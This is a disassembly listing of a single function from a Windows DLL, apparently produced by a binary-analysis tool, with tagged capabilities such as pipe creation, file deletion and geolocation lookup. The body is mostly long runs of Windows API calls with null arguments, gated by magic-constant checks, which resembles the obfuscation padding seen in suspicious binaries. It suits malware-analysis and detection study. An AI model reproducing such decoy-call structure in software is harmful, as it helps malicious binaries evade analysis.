Function at 0x18000a080
Capabilities:
Create pipe
Delete file
Enumerate gui resources
Get geographical location

Disassembly:
push rbx
sub rsp, 0x1b0
cmp edx, 1
jne 0x18000a332
mov dword [rsp + 0x58], 0x14a
lea rax, [0x1800090a0]
add rax, 0x14a
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x50], rax
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm0
call fcn.180010dd0
mov dword [rsp + 0x58], 0x1bd
lea rax, [0x180009640]
add rax, 0x1bd
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x50], rax
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm0
call fcn.180013d20
xor ecx, ecx
call fcn.180085b10
mov ecx, eax
call fcn.180081dbc
mov dword [rsp + 0x58], 0x2a3
lea rbx, [0x1800093b0]
lea rax, [rbx + 0x2a3]
mov qword [rsp + 0x50], rax
lea rdx, [rsp + 0xd0]
movaps xmm0, xmmword [rsp + 0x50]
lea rcx, [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm0
call fcn.180013ee0
mov dword [rsp + 0x58], 0x29d
lea rdx, [rsp + 0x60]
add rbx, 0x29d
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x50], rbx
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm0
call fcn.180013ee0
mov dword [rsp + 0x58], 0x119
lea rax, [0x1800094a0]
add rax, 0x119
lea r9, [rsp + 0x140]
mov qword [rsp + 0x50], rax
lea r8, [rsp + 0x60]
movaps xmm0, xmmword [rsp + 0x50]
lea rdx, [rsp + 0xd0]
lea rcx, [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm0
call fcn.1800140a0
mov dword [rsp + 0x58], 0x195
lea rax, [0x1800044e0]
add rax, 0x195
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x50], rax
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm0
call fcn.180010dd0
cmp dword [0x18012e8b8], 0xa4631828
jne 0x18000a483
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EnumResourceNamesW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DeleteTimerQueueEx]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreatePrivateNamespaceW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalHandle]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
xor ebx, ebx
lea rax, str.578mVDtxW6B91v982obeC5dhkVk
mov qword [rsp + 0x48], rbx
lea r8, str.v3Ws3y3I683VYqxs6g9b2
mov qword [rsp + 0x40], rbx
lea rcx, str.I3Ukhz7K1BA7L2im71627
mov qword [rsp + 0x38], rbx
xor r9d, r9d
mov qword [rsp + 0x30], rbx
xor edx, edx
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_FindNLSStringEx]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeClientSessionId]
lea rcx, str.U3bT61e16xFgUjTiC2
call qword [sym.imp.KERNEL32.dll_AddDllDirectory]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetUserGeoID]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DefineDosDeviceW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeClientProcessId]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_RtlCaptureStackBackTrace]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreatePipe]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EnumResourceTypesW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_HeapWalk]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AddSIDToBoundaryDescriptor]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AddVectoredExceptionHandler]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_RemoveSecureMemoryCacheCallback]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SubmitThreadpoolWork]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DeleteFileTransactedW]
mov eax, 1
add rsp, 0x1b0
pop rbx
ret
cmp edx, 3
jne 0x18000a483
cmp dword [0x18012e8b8], 0x6bfbb328
jne 0x18000a483
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EnumSystemGeoID]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlsAlloc]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeClientComputerNameW]
xor ebx, ebx
xor r9d, r9d
mov dword [rsp + 0x30], ebx
xor r8d, r8d
mov dword [rsp + 0x28], ebx
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], ebx
call qword [sym.imp.USER32.dll_SetWinEventHook]
xor ecx, ecx
call qword [sym.imp.USER32.dll_DrawMenuBar]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessorNumber]
xor r9d, r9d
mov dword [rsp + 0x20], ebx
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_SetRect]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_QueryThreadProfiling]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_OpenJobObjectW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DeleteTimerQueue]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_EnableMenuItem]
call qword [sym.imp.USER32.dll_GetMenuCheckMarkDimensions]
xor r9d, r9d
mov qword [rsp + 0x20], rbx
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_CreateDialogIndirectParamW]
xor r9d, r9d
mov qword [rsp + 0x20], rbx
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AddScopedPolicyIDAce]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetMemoryErrorHandlingCapabilities]
lea r9, str.w75Yud276za41BA285vmEhV
mov dword [rsp + 0x20], ebx
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsNLSDefinedString]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_CreateWindowStationW]
xor ecx, ecx
call qword [sym.imp.USER32.dll_SetProcessDefaultLayout]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessDEPPolicy]
xor ecx, ecx
call qword [sym.imp.USER32.dll_UnhookWinEvent]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetMenuBarInfo]
xor ecx, ecx
call qword [sym.imp.USER32.dll_UnhookWindowsHookEx]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MapUserPhysicalPagesScatter]
mov eax, 1
add rsp, 0x1b0
pop rbx
ret